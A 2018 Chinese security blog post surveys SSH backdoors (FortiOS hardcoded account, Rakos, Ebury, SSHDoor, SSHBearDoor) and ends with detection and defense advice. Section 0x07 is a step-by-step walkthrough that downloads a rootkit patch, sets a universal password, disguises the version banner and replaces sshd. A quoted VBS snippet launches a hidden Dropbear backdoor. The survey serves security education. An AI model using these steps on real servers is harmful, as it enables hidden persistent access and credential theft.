SSH后门分析总结

发布者:xfkxfk
发布于:2018-04-11 16:49

SSH后门分析总结

  • SSH
  • Backdoor

 

 

对于UNIX系统来说,ssh服务端作为最广泛应用的远程管理服务并且有一定对外开放的必然性,必然引起黑客关注,所以ssh类的后门也是unix下最经典的后门方式之一了。作为渗透基础知识,逢魔安全团队在本文中对此类后门进行了详细的分析总结,希望能帮助到一些初学者。

0x01 简介

简单的说,SSH 为建立在应用层基础上的安全协议。通过该协议可以远程操作服务器。目前,所谓openssh,Dropbear SSH等,都是ssh协议的工具体现

 

所谓后门是在渗透完成之后的阶段,攻击者获取到一台服务器的root权限后,需要通过后门长期能够控制这台服务器,同时后门又需要躲避管理员的检测。

 

那么,rookit的概念实际上就是要通过一系列手段隐藏恶意程序,达到长期控制的目的。可想而知,他的根本宗旨是隐藏:通信隐蔽、自启动项隐藏、文件隐藏、进程/模块隐藏、注册表隐藏、服务隐藏、端口隐藏等。

0x02 Fortinet FortiOS后门

Poc见:http://seclists.org/fulldisclosure/2016/Jan/26

 

该后门属于硬编码类型的,事实上很多产品都爆出过这一类型的漏洞

 

爆发时间:2016年9月

 

 

如上图poc中,可以知道想目标机器发送内置账号Fortimanager_Access,发挥的信息经过custom_handler函数的处理,就能访问了。

 

思考:实际上,硬编码漏洞广泛的存在于各种设备中,路由器,网关,防火墙等均爆出过

 

例如:

  • D-Link DWR-932B LTE路由器,存在admin:admin和root:1234

  • CVE-2015-7755: Juniper ScreenOS认证后门

  • 梭子鱼多款产品存在后门

这一类型的后门都是通过硬编码的方式存在,是开发和管理人员用来管理的内置账号,但是没有做好相应的权限控制,使得普通用户甚至恶意用户也能访问到这些账号。

0x03 Rakos Malware

参考地址:https://github.com/eset/malware-ioc/tree/master/rakos

 

Rakos Malware主要在嵌入式设备中流传,可以通过暴力破解ssh服务组建僵尸网络。

 

主要时间:约2016年8月份

 

攻击行为:

  • 加载yaml配置文件,该文件包含了c&c服务器列表以及账号密码字典

  • 本地打开一个http端口61314,主要通过该端口进行控制

  • 将受害者信息(账号密码等)通过http发送给C&C端,同时可以用于自我更新

  • 通过C&C服务端发送指令,破解其他机器ssh账号,在进一步将破解的机器感染成僵尸机器

思考

 

在本次案例根本是在于大范围暴力破解ssh服务,加上管理员往往对物联网设备疏于管理。

 

实际中,暴力破解的安全事件很容易发生,市面上有非常多类似功能的恶意软件,对于一个高度安全的网络环境,入口点有时候往往就是一个弱密码。

0x04 SSHBearDoor

sshBearDoor主要被当做后门用,能够擦出硬盘数据,主要针对乌克兰新闻媒体公司和电力行业。

 

爆发时间:2007年就存在,2014年卷土重来

 

SSH后门:

 

该恶意软件绑定了一个Dropbear SSH的后门,后门程序如下:

Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false

后门详细的工作原理如下图:

 

 

后门行为:这里的后门实际上完全是正常的程序功能,只不过人们使用了该ssh功能写了一个远程连接的工具而已。

 

思考:这一类的后门原理上都是通过提供的第三方库再实现一个简易的ssh客户端和服务端,然后将服务端安装在受害者机器上,实现连接、

 

与之类似的有如下工具:

 

https://github.com/joridos/custom-ssh-backdoor,该工具是通过python的paramiko库自己实现了个ssh功能的软件,然后安装在服务端上

 

比较缺乏的是,github上大部分的后门软件都只是实现了ssh的功能,并没有隐藏功能

0x05 Ebury木马

该木马主要是通过补丁程序修改OpenSSH的公共库libkeyutils.so,从而使得他能够轻易获取到管理员账号密码

 

爆发时间:2013年

 

木马行为

  • 将受感染机器的用户登陆信息记录下来并发送给远程机器,记录下未加密的私钥,

  • 不在日志文件里留下痕迹

  • 修改文件包管理器中的原始签名

  • 网口混杂模式时,

该木马功能上比较完整,有各种手段对后门进行隐藏,有机会我们单独拿一片文章出来讲。

0x06 SSHDoor

该后门主要是通过硬编码的方式登陆,可以窃取用户名密码

 

时间:2013年

 

后门行为

  • 隐藏行为的字符串都是用XOR编码

  • 通过http协议传递盗取到的信息,并向远程机器发送信息

  • 设置了一个通用密码

  • 替换了原系统的私钥,使得自己可以直接访问远程机器

0x07 OpenSSH Patch BackDoor

我们来看一个最原始的OpenSSH后门,该后门是通过补丁的方式修改openssh,并且重新编译替换了sshd,与Ebury后门相似的是都可以记录用户的账号名密码,只不过该后门功能上远远不如Ebury,也没有相应的隐藏功能。

[root\@localhost ~]# cat /etc/issue 
CentOS release 6.8 (Final) Kernel \r on an \m
  1. SSH后门目前网上支持版本为5.9以下,本次用的是centos6.8自带的openssh5.3版本的
[root\@localhost ~]# ssh -V 
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
  1. 下载两个文件
[root\@localhost ~]# wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz 
[root\@localhost ~]# wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz 
[root\@localhost ~]# ls 
0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
  1. 备份下配置文件
[root\@localhost ~]# mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old 
[root\@localhost ~]# mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 
[root\@localhost ~]# tar -zxvf openssh-5.9p1.tar.gz 
[root\@localhost ~]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.patch/ 
openssh-5.9p1.patch/LICENSE 
openssh-5.9p1.patch/INSTALL 
openssh-5.9p1.patch/README 
openssh-5.9p1.patch/sshbd5.9p1.diff 
openssh-5.9p1.patch/ssh_integrity_checker.sh
  1. 补丁

  1. 设置后门登陆密码

在includes.h文件中可以找到设置通用密码的地方:

 

 

Version.h文件设置版本banners,该banners改成和原来系统一致

 

[root\@localhost openssh-5.9p1]# yum install zlib-devel openssl openssl-devel zlib zlib-devel
  1. 编译并安装
[root\@localhost openssh-5.9p1]# yum install zlib-devel
[root\@localhost openssh-5.9p1]# yum install openssl openssl-devel
[root\@localhost openssh-5.9p1]# yum install gcc
[root\@localhost openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh
[root\@localhost openssh-5.9p1]# make && make install

  1. 验证

执行:strings /usr/sbin/sshd

 

可以查看到,我们需要的后门已经写入到ssh中

 

 

使用通用密码123123登陆成功

 

0x08 防御方法

在识别rootkit方面,目前有几款工具可以直接实现,例如:chkrootkit、Rootkit
Hunter、Lynis、ISPProtect等,都是可以对系统进行自动检测。

 

攻击是点,防御是面的防御,等到被入侵后在加固,就弱了,我们可以简单的认为后门程序就是一个访问权限的隐藏,站在攻击者的角度就是要伪装成正常的用户,行为。防御者要做的就是识别出这些伪装:

 

端口监控:这里包括内网监控和外网监控:外网端口通过白名单控制,严禁私自开启外网端口;内网端口变化性比较大的,那么是否可能这些变化是有规律有模型的呢?这需要进一步研究

 

文件监控:建立起文件监控体系,周期性检测文件的完整性,监控文件的权限变化。匹配软件MD5值以免软件被替换

 

配置安全:做好基线检测,服务器被入侵后,往往会修改用户配置,而通常hids并不会去检测文件的内容。基线配置的建立就显得尤为总要

 

流量检测:这一点常见的hids都能实现,snort什么的,关键是各种防御体系的联动以及分析,提取出安全事件,进而提升到威胁情报

 

参考:

 

http://seclists.org/fulldisclosure/2016/Jan/26

 

https://github.com/eset/malware-ioc/tree/master/rakos

 

http://seclists.org/snort/2014/q1/498

 

https://evi1cg.me/archives/Pentest_SSH.html


声明:该文观点仅代表作者本人,转载请注明来自看雪